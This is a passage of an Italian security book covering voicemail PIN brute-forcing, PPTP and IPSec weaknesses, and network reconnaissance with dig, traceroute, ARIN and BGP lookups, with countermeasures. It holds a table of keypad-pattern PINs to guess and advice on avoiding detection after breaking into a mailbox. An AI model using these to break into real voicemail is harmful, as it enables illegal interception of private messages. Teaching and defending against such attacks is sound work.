La buona notizia relativa alle password delle caselle nei sistemi di messaggistica vocale è che sono solo numeriche; pertanto, esiste un numero finito di numeri che possono essere provati. Il numero di combinazioni possibili dipende dalla lunghezza massima della password. Più lunga è la password, maggiore è, in teoria, il tempo necessario per accedere alla casella vocale. Anche in questo caso, lo svantaggio di questo processo è che si tratta di un attacco manuale che richiede che qualcuno rimanga in ascolto per tutta la durata della sessione. I più furbi potrebbero pensare di registrare su nastro l'intera sessione e riascoltarla in seguito, o ricercare anomalie nei processi eseguiti dal DSP. Indipendentemente dal metodo utilizzato, dovrete valutare eventuali anomalie pianificando le azioni successive ai tentativi falliti. Il messaggio vocale che segnala l'avvenuto accesso al sistema è in genere del tipo "Avete X nuovi messaggi, Menu principale ...". Ciascun sistema di messaggistica vocale dispone di responsabili automatici diversi e, se non si ha familiarità con lo specifico responsabile automatico del sistema target, potreste non sapere cosa aspettarvi come messaggio di risposta. Ma non rifuggite questo metodo: ricordate che siete in ascolto di un'anomalia tra un insieme di tentativi falliti. Osservate i risultati di un attacco a forza bruta compiuto sull'intervallo di numeri compreso tra 000000 e 999999 e vedrete che il tempo richiesto per portare a termine l'intero processo è notevole e aumenta con l'aggiunta di una nuova cifra. Altri metodi potrebbero essere utili per ridurre il tempo richiesto per il test.

Cosa possiamo fare per ridurre la durata dell'attacco? Un metodo è utilizzare caratteri (numeri) che la gente ricorda facilmente. La tastiera numerica del telefono è una fonte inesauribile di sequenze numeriche a causa del suo design squadrato. Gli utenti potrebbero scegliere password che riproducono sulla tastiera una Z, 1235789. Detto

questo, nella Tabella 8.1 proponiamo un elenco di sequenze numeriche ricavate dall'osservazione della tastiera numerica del telefono. Ovviamente non si tratta di un elenco completo, ma è comunque un buon punto di partenza. Ricordate anche di provare le possibilità più ovvie, come per esempio una password identica al numero della casella vocale o sequenze ripetitive di caratteri, come "111111", che potrebbero essere utilizzate come password temporanee. Gli obiettivi in grado di fornire informazioni più preziose sono quelli che hanno già installato delle caselle vocali, alcune delle quali non sono mai state utilizzate. Non ha molto senso accedere a caselle che devono ancora essere configurate, a meno che non siate un revisore che sta cercando di far adottare agli utenti del sistema delle norme di sicurezza più rigorose.

Tabella 8.1 Password per il testing delle caselle vocali

Modelli di sequenze	
123456	234567
345678	456789
567890	678901
789012	890123
901234	012345
654321	765432
876543	987654
098765	109876
210987	321098
432109	543210
123456789	987654321
Sequenze	
147741	258852
369963	963369
159951	123321
456654	789987
987654	123369
147789	357753
Z	
1235789	9875321
Ripetizioni	
335577	115599
775533	995511
Tipi di U	
U	1478963
U invertita	7412369
U destra	1236987
U sinistra	3214789
Angoli	
Angolo └	14789
Angolo ┘	78963

(*Segue*)

Tabella 8.1 (*Continua*) Password per il testing delle caselle vocali

Angolo ┐	12369
Angolo ┌	32147
0 di origini diverse	
147896321	963214789
478963214	632147896
789632147	321478963
896321478	214789632
X di origini diverse	
159357	753159
357159	951357
159753	357951
+ di origini diverse	
258456	654852
258654	654258
456258	852456
456852	852654
Z di origini diverse	
1235789	3215987
9875321	7895123
Dall'alto	
Salto	172839
Salto 1	283917
Salto 2	391728
Inverso	
Salto	392817
Salto 1	281739
Salto 2	173928
Dal basso	
Salto	718293
Salto 1	829371
Salto 2	937182
Inverso	
Salto	938271
Salto 1	827193
Salto 2	719382
Sinistra/destra	
Salto	134679
Salto 1	467913
Salto 2	791346
Destra/sinistra	
Salto	316497
Salto 1	649731
Salto 2	973164

Dopo aver manomesso un sistema, fate attenzione a non modificare nulla. La modifica della password di una casella potrebbe destare dei sospetti, a meno che il servizio venga utilizzato poco dall'utente in questione o l'utente stesso si trovi in vacanza. Sono rari i casi di società che hanno adottato una politica di modifica delle password delle caselle vocali ogni X giorni, come nel caso dei sistemi di computer. Pertanto, una volta che è stata impostata è molto difficile che la password venga modificata in seguito. Poiché ascoltare i messaggi degli altri potrebbe portare diritto in prigione, non è nostra prassi consigliare questo metodo di accesso a un sistema di messaggistica vocale. Come al solito, ci limitiamo a esporre gli aspetti teorici dei metodi di attacco.
Infine, questo metodo di attacco a forza bruta potrebbe trarre beneficio dall'automazione dell'ascolto dell'anomalia. Abbiamo ipotizzato che se la voce venisse catturata da un dispositivo DSP (*Digital Signal Processing*) o se un programma di tipo speak-and-type fosse opportunamente addestrato e messo in ascolto dell'anomalia, si potrebbe evitare la seccatura di doversi sedere e restare in ascolto mentre lo script viene eseguito.

Contromisure agli attacchi ai sistemi di messaggistica vocale con il metodo della forza bruta

Rafforzate le misure di sicurezza dei sistemi di messaggistica vocale. Per esempio, prevedete un blocco dell'accesso al sistema, dopo un certo numero di tentativi falliti in modo da stroncare i tentativi di attacco a forza bruta.

Hacking delle VPN

Grazie alla stabilità e alla capillarità della rete telefonica, la connettività POTS resterà con noi ancora per parecchio tempo. Tuttavia, il gran magma della tecnologia ha già lasciato intravedere il meccanismo che sostituirà le connessioni telefoniche come sistema di accesso remoto: le reti private virtuali VPN (*Virtual Private Network*).
Il concetto di VPN non è legato a una particolare tecnologia o protocollo, ma la maggior parte delle sue implementazioni pratiche comporta il "tunneling" dei dati privati su Internet, eventualmente cifrati. I principali punti di forza delle VPN sono i bassi costi e la comodità: sfruttando le connessioni a Internet esistenti per le comunicazioni tra sedi, utenti o persino partner (extranet) remoti, è possibile ridurre sensibilmente gli ingenti costi e la complessità delle infrastrutture WAN classiche (linee telefoniche dedicate e batterie di modem).
Esistono diverse tipologie di rete VPN, dalla Secure Shell (SSH) open source alle tipologie proprietarie come SecureRemote di Check Point Software che, in base alle esigenze dell'utente e alle necessità reali, permette di avviare una sessione cifrata con il firewall. Per poter fare questo SecureRemote deve sapere quali host potranno comunicare con quello cifrato e deve conoscere le chiavi di crittografia, cercando di effettuare il fatching del sito dal server remoto. L'autenticazione viene effettuata non appena SecureRemote stabilisce che il traffico verso il firewall deve essere cifrato, e può essere effettuata mediante una semplice password, una SKEY, un SecurID oppure un certificato: quello che è importante è che tutto il traffico dati tra il firewall e il client sia sempre cifrato, e che la password (per quanto semplice) non venga in alcun modo divulgata.
Le due tecniche più diffuse per le VPN sono la bozza di standard IPSec (*IP Security*) e il protocollo L2TP (*Layer 2 Tunneling Protocol*), che sostituisce precedenti tentativi noti come PPTP (*Point-to-Point Tunneling Protocol*) e L2F (*Layer 2 Forwarding*). La descrizione delle specifiche tecniche di queste complesse tecnologie va ben oltre

gli obiettivi di questo libro, per cui invitiamo chi fosse interessato a consultare su Internet i relativi documenti in bozza (`http://www.ietf.org`).

In breve, il *tunneling* consiste nell'incapsulamento di un datagramma, eventualmente cifrato, all'interno di un altro, che si tratti di IP all'interno di IP (IPSec), o di PPP in GRE (PPTP). La Figura 8.7 rappresenta il concetto di tunneling su una VPN elementare tra due entità A e B (che potrebbero essere singoli host o intere reti). B invia un pacchetto ad A (indirizzo di destinazione "A") passando dal Gateway 2 (GW2, che potrebbe essere uno strato software su B). GW2 incapsula il pacchetto all'interno di un altro destinato al Gateway 1. GW1 rimuove l'intestazione temporanea e consegna il pacchetto originale ad A. Eventualmente, il pacchetto originale può essere cifrato durante l'attraversamento di Internet (linea tratteggiata).

Figura 8.7
Il tunneling di un tipo di traffico all'interno di un altro è la premessa fondamentale delle reti private virtuali (VPN).

Le tecnologie VPN sono notevolmente maturate nel corso degli ultimi anni e stanno procedendo velocemente verso l'integrazione con le architetture di rete sia pubbliche sia private. Attualmente molte portanti offrono la gestione dei servizi VPN a coloro che non desiderano realizzarli personalmente. Chiaramente, VPN è in grado di prendere il posto delle linee POTS, come prima scelta nelle comunicazioni remote. Questo suo nuovo stato la rende però anche l'obiettivo degli hacker più zelanti, che hanno bisogno di risalire la catena alimentare ora che gli obiettivi degli attacchi wardialing iniziano a esaurirsi. Come se la passerà la rete VPN quando sarà scrutata dall'occhio attento degli hacker? Di seguito vengono forniti alcuni esempi.

Microsoft PPTP

Diffusione:	7
Semplicità:	7
Impatto:	8
Fattore di rischio:	7

Un buon esempio di analisi di questo tipo è la criptoanalisi dell'implementazione Microsoft del protocollo PPTP, effettuata il 1° giugno 1998 dal celebre esperto di crittografia Bruce Schneier e da un hacker di prima grandezza, Peter Mudge della L0pht Heavy

Industries (vedi http://www.counterpane.com/pptp-paper.html). Potete trovare una panoramica tecnica su alcuni dei risultati nel saggio scritto da Aleph One per *Phrack Magazine* (http://www.phrack-dont-give-a-shit-about-dmca.org/show.php?p=53&a=12). Aleph One svela ulteriori informazioni su aspetti poco sicuri di PPTP, tra cui la possibilità di sostituirsi a un server PPTP per ottenere le credenziali di autenticazione. È disponibile anche una versione del saggio originale rivista alla luce degli aggiustamenti apportati dalla Microsoft a PPTP nel 1998 (http://www.counterpane.com/pptpv2-paper.html).

Nonostante il saggio sia dedicato alla specifica implementazione di PPTP effettuata da Microsoft, molte delle considerazioni sono di importanza fondamentale per le VPN in generale. Trattandosi di una tecnologia orientata alla sicurezza, la maggior parte delle persone si aspetta che la progettazione e l'implementazione della tecnologia VPN che scelgono siano solide. Il saggio di Schneier e Mudge è un campanello d'allarme per queste persone. In questa sede, ci limiteremo a illustrare alcuni dei punti più importanti (e preoccupanti) emersi.

Nel leggere il saggio di Schneier e Mudge, è importante ricordare alcune premesse e l'ambiente di prova utilizzato. Innanzitutto, l'analisi è stata effettuata sull'interazione PPTP tra client e server, non su un'architettura gateway server-to-server. Si è poi ipotizzato che la connessione client avvenisse direttamente su Internet, e non per via telefonica. Inoltre, alcuni degli attacchi proposti si basano sul presupposto che sia possibile intercettare liberamente la sessione PPTP. Per quanto nessuna di queste condizioni influenzi pesantemente le conclusioni, è importante tener presente che un hacker in grado di intercettare questo tipo di comunicazione ha già probabilmente superato la maggior parte delle difese.

I risultati principali riferiti nel saggio sono i seguenti.

- Il protocollo di autenticazione sicura di Microsoft, MS-CHAP, si basa su funzioni di crittografia di vecchia concezione, che sono già state sconfitte con relativa facilità (la debolezza dell'hash di LanManager è stata dimostrata e attaccata da L0phtcrack).
- Alcuni componenti delle chiavi utilizzate all'interno di una sessione, per cifrare i dati sulla rete, sono ricavati dalle password definite dall'utente e questo riduce la lunghezza effettiva delle chiavi al di sotto dei 40 e 128 bit dichiarati.
- L'algoritmo di cifratura prescelto per la sessione (l'algoritmo simmetrico RC4 della RSA) risulta notevolmente indebolito per effetto del riutilizzo delle chiavi di sessione sia in trasmissione sia in ricezione, che lo espone ai tradizionali attacchi crittografici.
- Il canale di controllo (la porta TCP 1723), utilizzato per la negoziazione e la gestione delle connessioni, non è assolutamente autenticato ed è vulnerabile ad attacchi di tipo DoS (*Denial of Service*) e di spoofing.
- Viene cifrato solo il traffico di dati e questo consente a un eventuale intercettatore di ricavare informazioni molto utili dall'analisi del traffico sul canale di controllo.
- Un client connesso a una rete attraverso un server PPTP potrebbe fare da backdoor per la rete stessa.

Soluzione per PPTP

Tutto questo può significare la fine per le VPN? Assolutamente no. Lo ripetiamo: queste osservazioni sono specifiche dell'implementazione PPTP di Microsoft, che

ha già rilasciato una patch per i client e server Windows NT con il Service Pack 4 (originariamente pubblicata come un hotfix successivo a SP3). Per ulteriori informazioni su questo aggiornamento, vi rimandiamo al Microsoft Security Bulletin MS98-012 (`http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/bulletin/ms98-012.asp`). Inoltre, il protocollo PPTP è stato notevolmente migliorato in Windows 2000 con la possibilità di utilizzare il protocollo L2TP basato su IPSec. Sui client PPTP Win *9x* occorrerebbe aggiornare il Dial-Up Networking alla versione 1.3, per ottenere la compatibilità con le più rigide misure di sicurezza disponibili sul lato server (potete trovare un collegamento a questa patch su `http://www.microsoft.com/downloads/`).

Schneier e Mudge hanno pubblicato un saggio successivo, elogiando Microsoft per aver affrontato in maniera esaustiva la maggior parte dei difetti originariamente identificati. Essi, tuttavia, fanno notare che MS PPTP si basa ancora sulla password data dall'utente per fornire entropia alla chiave di cifratura.

La lezione più importante che si può ricavare dallo studio di Schneier e Mudge va letta tra le righe: ci sono in giro persone ingegnose che hanno tutte le intenzioni e i mezzi per violare le VPN, per quanto solida possa essere la loro corazza protettiva. Altri punti critici sono la potenziale vulnerabilità a lungo termine di alcuni aspetti delle VPN legati alle piattaforme o ai sistemi operativi (per esempio, il caso dell'hash di LanMan), oppure le semplici scelte di progettazione errate (per esempio, la mancanza di autenticazione sul canale di controllo, il riutilizzo delle chiavi di sessione con cifratura RC4) che minano alla base un sistema altrimenti sicuro.
Questo è un interessante paradosso contenuto nel saggio di Schneier e Mudge: se da un lato tendono a denigrare l'implementazione Microsoft di PPTP, dall'altro dichiarano (allineandosi all'ottimismo che aleggia nel settore) che IPSec diventerà la tecnologia dominante per le VPN, soprattutto per il processo aperto e bilanciato di sviluppo (`http://www.counterpane.com/pptp-faq.html`). Tuttavia, PPTP e le stesse estensioni proprietarie Microsoft sono disponibili pubblicamente come bozze su Internet (`http://www.ietf.org/html.charters/pppext-charter.html`). Cosa rende tanto speciale IPSec? In una parola, niente. Sarebbe interessante se qualcuno rivolgesse simili attenzioni anche a IPSec. E quello che voi sapete lo deve sapere anche Bruce Schneier!

Un'analisi pratica di IPSec

Molti si sono spazientiti di fronte alla imperscrutabilità della bozza di standard IPSec (si veda più avanti); ma poiché Microsoft lo ha integrato in Windows 2000 è probabile che per un po' di tempo non subirà alcuna modifica. C'è però anche un aspetto positivo in tutto questo: poiché nessuno sembra comprendere il tipo di attività svolta da IPSec, sono pochi quelli che sanno come attaccarlo quando se lo trovano di fronte (in genere, è possibile identificare i dispositivi che supportano IPSec mettendosi in ascolto sulla porta UDP 500, il protocollo IKE, *Internet Key Exchange Protocol*). Come vedremo più avanti, la mancanza di chiarezza non è mai un buon presupposto su cui costruire un protocollo sicuro.

L'intervento autorevole di Schneier e Ferguson

Freschi della conquista del protocollo PPTP, Bruce Schneier e il suo collega Niels Ferguson della Counterpane Internet Security, hanno pubblicato un pungente saggio sul protocollo IPSec, disponibile all'indirizzo `http://www.counterpane.com/ipsec.html`.

Schneier e Ferguson si lamentano soprattutto dell'eccessiva complessità dei documenti degli standard IPSec e del protocollo stesso. Questa è una critica molto pesante soprattutto se proviene da un uomo il cui algoritmo crittografico è in gara per essere selezionato come il prossimo algoritmo di cifratura standard AES (*Advanced Encryption Standard*) per documenti approvati dal governo degli Stati Uniti (per ulteriori informazioni, `http://csrc.nist.gov/encryption/aes/`).
Noi, dopo anni di inutili tentativi per cercare di accedere a questi documenti, non possiamo che essere d'accordo con Bruce. Anche se non ci sentiamo di consigliare questo saggio a chi non abbia una conoscenza approfondita di IPSec, si tratta pur sempre di una lettura gradevole per coloro che se ne intendono. Di seguito riportiamo alcune delle battute tipiche e dei consigli che ne fanno un "bestseller" della sicurezza.

- "I protocolli crittografati non dovrebbero essere sviluppati da una commissione".
- "Il peggior nemico della sicurezza è la complessità".
- "L'unico modo sensato per valutare la sicurezza di un sistema è eseguire delle verifiche di sicurezza sul sistema stesso". (Lo scopo di questo libro.)
- "Eliminare la modalità di trasporto e il protocollo AH, includere l'autenticazione del testo cifrato nel protocollo ESP lasciando solo la modalità tunnel".

Schneier e Ferguson terminano con le mani alzate al cielo: "Secondo noi il protocollo IPSec è troppo complesso per essere sicuro, ma è migliore di qualunque altro protocollo di sicurezza IP oggi disponibile". Chiaramente, gli utenti attuali del protocollo IPSec sono nelle mani dei produttori che hanno implementato gli standard. Resta da vedere se quello che ci aspetta è il paradiso o l'inferno man mano che le singole implementazioni passano l'esame attento degli hacker sparsi in tutto il mondo.

Le considerazioni di Bellovin

Ricordate che la maggior parte delle sessioni di cracking, come quelle RSA (`http://www.rsasecurity.com/rsalabs/challenges/`) o RC5-64 (`http://www.distributed.net/rc5/index.html.en`) si basano sull'ipotesi che l'hacker sia in possesso di parti di testo in chiaro. Tuttavia, il crack delle comunicazioni cifrate è ben diverso da quello dei file delle password. In un flusso di comunicazione cifrato non esistono dei confini chiari che consentano di delineare l'inizio e la fine di una conversazione. Agli hacker non resta che procedere per tentativi, magari eseguendo invano la cifratura e il confronto di diversi frame della comunicazione, senza mai sapere se è stato individuato il punto di partenza esatto. Steven M. Bellovin, un noto gigante della sicurezza Internet dei laboratori di ricerca della AT&T, ha pubblicato un saggio dal titolo "Probable Plaintext Cryptanalysis of the IP Security Protocols", in cui parla della presenza di una grande quantità di testo in chiaro conosciuto nel traffico IPSec.
Anche se questa considerazione è ben lontana dallo scalfire la sicurezza del protocollo IPSec, l'abbiamo citata per evidenziare quali sono le sfide da affrontare, quando si cerca di attaccare le comunicazioni cifrate. Il saggio è disponibile all'indirizzo `http://www.computer.org/proceedings/sndss/7767/77670052abs.htm`.

Capitolo 9

Dispositivi di rete

La rete è la linfa vitale di qualsiasi azienda. Chilometri di cavi di rame e fibre ottiche corrono nei muri delle grandi società, vero e proprio apparato circolatorio che porta ossigeno agli organi vitali. Alla loro nascita, però, le tipiche reti locali LAN (*Local Area Network*) o geografiche WAN (*Wide Area Network*) aziendali sono ben poco sicure. E non si tratta di piccoli punti deboli, perché l'hacker che conquista la vostra rete conquista anche l'intera azienda. Nella maggior parte dei casi, controllare la rete significa poter intercettare messaggi di posta o dati finanziari riservati, oppure reindirizzare il traffico verso sistemi non autorizzati, nonostante l'utilizzo della tecnologia VPN (*Virtual Private Network*), o quello del firewall.
La vulnerabilità della rete, anche se non dilagante come quelle dei sistemi, aumenta di quantità e qualità ogni anno. Tutto concorre alla realizzazione di un universo selvaggio e caotico, dalle fughe di informazioni dovute a errori progettuali, allo scarico dell'SNMP, all'accesso ai dispositivi grazie ad account predefiniti o backdoor della MIB. In questo capitolo vedremo in che modo gli hacker possano risalire ai vostri dispositivi di rete, identificarli e violarli per ottenere un accesso non autorizzato.
Poiché in pratica ogni dispositivo di rete reperibile in commercio è in grado di funzionare appena tolto dalla sua confezione con le impostazioni del produttore (senza che debba essere ulteriormente configurato), sia pure in uno stato vulnerabile, un aggressore determinato ha ampie probabilità di riuscire ad accedere a un host preso di mira. È a questo livello che si può verificare la maggior parte delle possibili fughe di informazioni da una rete. Non importa se questo avviene a causa di password/configurazioni di default, di imperfezioni dell'applicazione o del protocollo, o semplicemente di configurazioni casuali: i problemi di sicurezza derivano quasi sempre da errori umani. In questo capitolo presenteremo i mezzi con cui è possibile scegliere un obiettivo, rilevarne il profilo e infine comprometterlo, con poco più di qualche semplice tool e una salutare dose di pazienza.

Ricerca

Nel vasto mare di Internet, è facile trovare bersagli. La maggior parte delle reti comunicano l'ISP da cui dipendono e lasciano trapelare notizie sulle modalità di progettazione e configurazione, sui tipi di hardware e su potenziali punti vulnerabili. Tenete presente che la maggior parte delle normali tecniche di esplorazione

iniziale serve alla raccolta di informazioni, è per sua natura non invasiva e generalmente non è più illegale di quanto lo sia il girare la maniglia di una porta per controllare se questa è aperta. La possibilità di perseguire un aggressore dipenderà dalle sue caratteristiche e dalle risorse legali dell'azienda, ma nella maggior parte dei casi sarà difficile, se non addirittura impossibile, promuovere un'azione giudiziaria.

Riconoscimento

I metodi di rilevamento possono essere diversi; quello principale consiste nel raccogliere informazioni privilegiate senza mettere in allarme chi vigila sull'obiettivo. Almeno per alcuni obiettivi, molte tecniche non verranno scoperte.

Individuazione del profilo

Il rilevamento del profilo tramite la scansione delle porte parzialmente condotto con tecniche non appariscenti può essere effettuato con svariati tool, di cui la maggior parte è stata illustrata nel capitolo precedente. `traceroute`, `netcat`, `nmap` e SuperScan sono alcuni dei tool consigliati per rilevare e identificare dispositivi sulla rete. Molte tecniche di esplorazione iniziale possono essere rilevate e registrate da un sistema di intercettazione delle intrusioni (IDS); questo dipenderà dal tipo di obiettivo del processo di rilevamento. È consigliabile utilizzare una tecnica di rilevamento semplice e pertinente. La maggior parte delle informazioni può essere ricavata dalle fonti più semplici.

Dig

Diffusione:	*10*
Semplicità:	*10*
Impatto:	*3*
Fattore di rischio:	*3*

`Dig` è un sostituto debitamente aggiornato di nslookup, utile soprattutto per l'ambiente UNIX. `Dig` è un tool molto semplice. Utilizzando gli intuitivi parametri della riga di comando, è possibile raccogliere quantità incredibili di informazioni sui nomi di dominio dell'obiettivo. Nell'esempio seguente possiamo vedere come `bigcompany.com` si basa su `bigisp` per il suo servizio DNS. A quanto pare, `bigcompany.com` ha alcuni server della posta elettronica ridondanti. Entrambe le voci dei server della posta sembrano puntare allo stesso indirizzo IP. Potrebbe trattarsi di un qualche tipo di bilanciamento dei carichi dei server della posta, o di una configurazione personalizzata, sebbene si tratti più probabilmente di un errore di configurazione commesso dall'amministratore. `Dig` vi consente di dare un'occhiata discreta e, nella maggior parte dei casi, impossibile da rilevare, all'interno di `bigcompany.com` e delle sue dipendenze:

```
mploessel@irc.secsup.org:~# dig -t mx bigcompany.com

; <<>> DiG 9.1.3 <<>> -t mx bigcompany.com
;; global options:  printcmd
;; Got answer:
```

```
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 5278
;; flags: qr rd ra; QUERY: 1, ANSWER: 2, AUTHORITY: 2, ADDITIONAL: 4

;; QUESTION SECTION:
;bigcompany.com.                    IN      MX

;; ANSWER SECTION:
bigcompany.com.             34      IN      MX      0 mx2.serv.net.
bigcompany.com.             34      IN      MX      0 mx1.serv.net.

;; AUTHORITY SECTION:
bigcompany.com.             34      IN      NS      dns2.bigisp.com.
bigcompany.com.             34      IN      NS      dns.bigisp.com.

;; ADDITIONAL SECTION:
mx1.serv.net.          86176    IN      A       172.32.45.7
mx2.serv.net.          86151    IN      A       172.32.45.7
dns.bigisp.com.        172534   IN      A       192.168.15.9
dns2.bigisp.com.       172534   IN      A       192.168.15.9

;; Query time: 2 msec
;; SERVER: 127.0.0.1#53(0.0.0.0)
;; WHEN: Mon Nov 24 1:00:01 2002
;; MSG SIZE  rcvd: 188
```

traceroute

Diffusione:	*10*
Semplicità:	*10*
Impatto:	*3*
Fattore di rischio:	*8*

Il programma di utilità `traceroute` o `tracert`, compreso rispettivamente in UNIX o NT, permette di stabilire quali siano i principali router che vi separano dall'host di destinazione. Questo è un ottimo punto di partenza per inquadrare un componente fondamentale dell'infrastruttura di una rete (i router), senza dubbio uno dei preferiti dagli hacker. `traceroute` invia a destinazione diversi pacchetti (i pacchetti `traceroute` UDP e ICMP sono utilizzati rispettivamente su UNIX e Windows). Il primo pacchetto TTL (*Time To Live*) sarà 1 e aumenterà per ogni salto individuato. Quando il pacchetto attraversa il router, il suo TTL diminuisce di un'unità. Se il TTL assume il valore zero, il pacchetto è eliminato e viene inviata una notifica all'host di origine. Nell'esempio seguente vediamo che ogni salto risponde con un pacchetto ICMP a TTL scaduto, che ci segnala ciascun salto e l'indirizzo IP dell'interfaccia di rete più vicina all'origine:

```
mploessel@irc.secsup.org:~# traceroute 10.14.208.3
traceroute to 10.14.208.3 (10.14.208.3), 30 hops max, 40 byte packets
 1  64.200.142.202 (64.200.142.202)  0.299 ms  0.33 ms  0.253 ms
 2  sntcca1wcx2-oc48.wcg.net (64.200.151.97)  3.486 ms  3.538 ms  3.989 ms
 3  sntcca4lcx1-pos9-0.wcg.net (64.200.240.126)  3.877 ms  3.795 ms  4.229
➥ms
 4  p12-1.pr01.sjc03.atlas.psi.net (154.54.10.113)  3.936 ms  3.83 ms
➥3.852 ms
```

```
 5  g9.ba1.sfo1.atlas.cogentco.com (66.28.66.138)  5.916 ms  5.903 ms
➥5.867 ms
 6  customer-2.demarc.cogentco.com (10.14.208.3)  5.955 ms  5.96 ms  6.92
➥ms
 7  z.root-servers.net (7.14.9.50)  6.141 ms  5.955 ms  5.869 ms
```

Visto che 10.14.208.3 è l'ultimo salto che precede l'obiettivo, possiamo essere abbastanza sicuri che si tratti di un router per l'inoltro del traffico: questo è il dispositivo (insieme agli altri presenti sul percorso) che con maggiore probabilità attirerà per primo le attenzioni degli hacker (in realtà, l'intera subnet). Tuttavia, tra conoscere l'indirizzo IP di un router e riuscire a sfruttarne un punto debole corre un abisso: prima sarà necessario identificarlo utilizzando la scansione delle porte e il riconoscimento del sistema operativo e approfittando di eventuali fughe di informazioni del produttore.

Contromisura al tracerouting

L'ACL seguente consente di limitare le risposte di un router Cisco ai pacchetti che hanno superato il proprio TTL:

```
access-list 101 deny icmp any host 1.2.3.4 11 0 log
```

Per interdire il traffico indirizzato specificamente in corrispondenza di un router, consigliamo l'utilizzo del comando seguente (che tuttavia potrebbe non essere appropriato in tutte le situazioni):

```
access-list 101 deny ip any host 10.14.208.3 log
```

Ripetete questa riga per tutte le interfacce del router.
In alternativa, è possibile consentire il trasferimento di pacchetti ICMP con specifiche reti affidabili, impedendo il resto:

```
access-list 101 permit icmp any 7.14.9.0 0.255.255.255 11 0
access-list 101 deny icmp any host 1.2.3.4 log
```

Per una spiegazione approfondita delle restrizioni ICMP, vi rimandiamo alla guida di Rob Thomas (`http://www.cymru.com/Documents/icmp-messages.html`).

Ricerca degli IP

Il database ARIN, disponibile all'indirizzo `http://www.arin.net`, è un buon punto di partenza per la raccolta di informazioni: le ricerche su ARIN sono molto utili per stabilire quali sono gli intervalli IP del sistema preso di mira, chi è il responsabile e quando sono state effettuate le ultime modifiche. Ecco un esempio:

```
OrgName:    EXAMPLE
OrgID:      EXAMPLEA

NetRange:   192.0.32.0 - 192.0.47.255
CIDR:       192.0.32.0/20
NetName:    EXAMPLE
NetHandle:  NET-192-0-32-0-1
Parent:     NET-192-0-0-0-1
```

```
NetType:     Reassigned
NameServer: NS1.EXAMPLE.COM
NameServer: NS2.EXAMPLE.COM
Comment:
RegDate:     1999-10-14
Updated:     2001-11-09
AdminHandle: MW3137-ARIN
AdminName: Mark Wilkerson
AdminPhone: +1-949-555-1212
TechHandle: BS313-ARIN
TechName:    Bradford Smith
TechPhone:   +1-949-555-1213
TechEmail:   smithbm@example.com

# ARIN Whois database, last updated 2002-12-03 19:05
# Enter ? for additional hints on searching ARIN's Whois database.
```

Ricerche Autonomous System

AS (*Autonomous System*) è un termine del gergo di Internet (TCP/IP) utilizzato per indicare un insieme di gateway (router) appartenenti a un'unica entità amministrativa.
Un ASN (*Autonomous System Number*) è un identificatore numerico per le reti coinvolte nel BGP (*Border Gateway Protocol*), il protocollo nel quale i percorsi di instradamento sono comunicati a tutto il mondo. Senza il BGP, il traffico di Internet non potrebbe uscire dalle reti locali.

Utilizzo normale di traceroute

L'output di `traceroute` su una macchina UNIX o Microsoft Windows visualizza unicamente le informazioni di risposta TTL:

```
example.att.net# traceroute www.example.com
traceroute to www.example.com (192.0.34.72), 30 hops max, 40 byte packets
  1 white_dwarf.cbbtier3.att.net (12.0.1.1) 4 msec 4 msec 0 msec
  2 ggr1-p320.n54ny.ip.att.net (12.122.12.54) 4 msec 4 msec 4 msec
  3 pos5-3.pr1.lga1.us.mfnx.net (64.125.12.21) 4 msec 0 msec 4 msec
  4 so-1-0-0.cr2.dca2.us.mfnx.net (208.184.233.129) 8 msec 8 msec 8 msec
  5 so-5-1-0.mpr4.sjc2.us.mfnx.net (64.125.30.30) 7 msec 7 msec 7 msec
  6 pos0-0.mpr2.lax2.us.mfnx.net (208.185.156.126) 7 msec 8 msec 8 msec
  7 example-t1-demarc.lax.mfnx.net (208.185.82.97) 8 msec 7 msec 8 msec
  8 t1-customer-dmarc.example.com (208.184.95.130) 8 msec 8 msec 8 msec
example.att.net#
```

traceroute con informazioni ASN

```
C:\telnet route-server.ip.att.net
route-server>traceroute www.example.com
Type escape sequence to abort.
Tracing the route to www.example.com (192.0.34.72)
  1 white_dwarf.cbbtier3.att.net (12.0.1.1) [AS 7018] 0 msec 0 msec 0 msec
```

```
  2 ar3.n54ny.ip.att.net (12.126.0.30) [AS 7018] 0 msec 0 msec 0 msec
  3 tbr2-p013801.n54ny.ip.att.net (12.122.11.17) [AS 7018] 4 msec 4 msec 4
➥msec
  4 pos5-3.pr1.lga1.us.mfnx.net (64.125.12.21) [AS 6461] 4 msec 0 msec 4
➥msec
  5 so-1-0-0.cr2.dca2.us.mfnx.net (208.184.233.129) [AS 6461] 6 msec 4
➥msec 6 msec
  6 so-5-1-0.mpr4.sjc2.us.mfnx.net (64.125.30.30) [AS 6461] 7 msec 7 msec
➥7 msec
  7 pos0-0.mpr2.lax2.us.mfnx.net (208.185.156.126) [AS 6461] 7 msec 8 msec
➥8 msec
  8 example-t1-demarc.lax.mfnx.net (208.185.82.97) [AS 6461] 8 msec 7 msec
➥8 msec
  9 www.example.com (208.184.95.130) [AS 6461] 9 msec 9 msec 9 msec

route-server>
```

Il `traceroute` originario da un host coinvolto nel BGP mostra le informazioni ASN. Con queste informazioni supplementari, possiamo scoprire che il nostro traffico ha avuto inizio in AS7018 (rete ATT) ed è saltato a AS6461 (MFNX, di proprietà di Abovenet). Esso ha quindi attraversato il punto di demarcazione di `example.com` ed è arrivato a destinazione (il server Web di example.com).
In base a questo output, possiamo assumere dal DNS inverso sul salto 13 che `example.com` ha un circuito T1. Se osserviamo attentamente, possiamo vedere che l'ASN non cambia con il salto 14. Questo è un segno abbastanza sicuro del fatto che `example.com` non dispone di altre connessioni a Internet ridondanti. Se ci fidiamo del DNS inverso, possiamo assumere che la massima larghezza di banda di example.com è di 1,544 Mbps con un limite massimo di pacchetti TCP al secondo pari a 4825 (per una dimensione del pacchetto di 40 byte; intestazione IP, intestazione TCP e nessun dato).
Di solito i percorsi primari di una rete hanno percorsi ridondanti. Per vedere gli altri percorsi possibili, effettuate una semplice ricerca dei percorsi IP BGP.

show ip bgp

```
route-server>show ip bgp 208.184.95.130
BGP routing table entry for 208.184.0.0/15, version 96265
Paths: (20 available, best #20, table Default-IP-Routing-Table)
  Advertised to non peer-group peers:
  12.161.130.230
  7018 6461, (received & used)
    12.123.45.252 from 12.123.45.252 (12.123.45.252)
      Origin IGP, localpref 100, valid, external
      Community: 7018:5000  7018 6461, (received & used)
...
[ output abbreviato per motivi di spazio ]
...
  7018 6461, (received & used)
    12.123.139.124 from 12.123.139.124 (12.123.139.124)
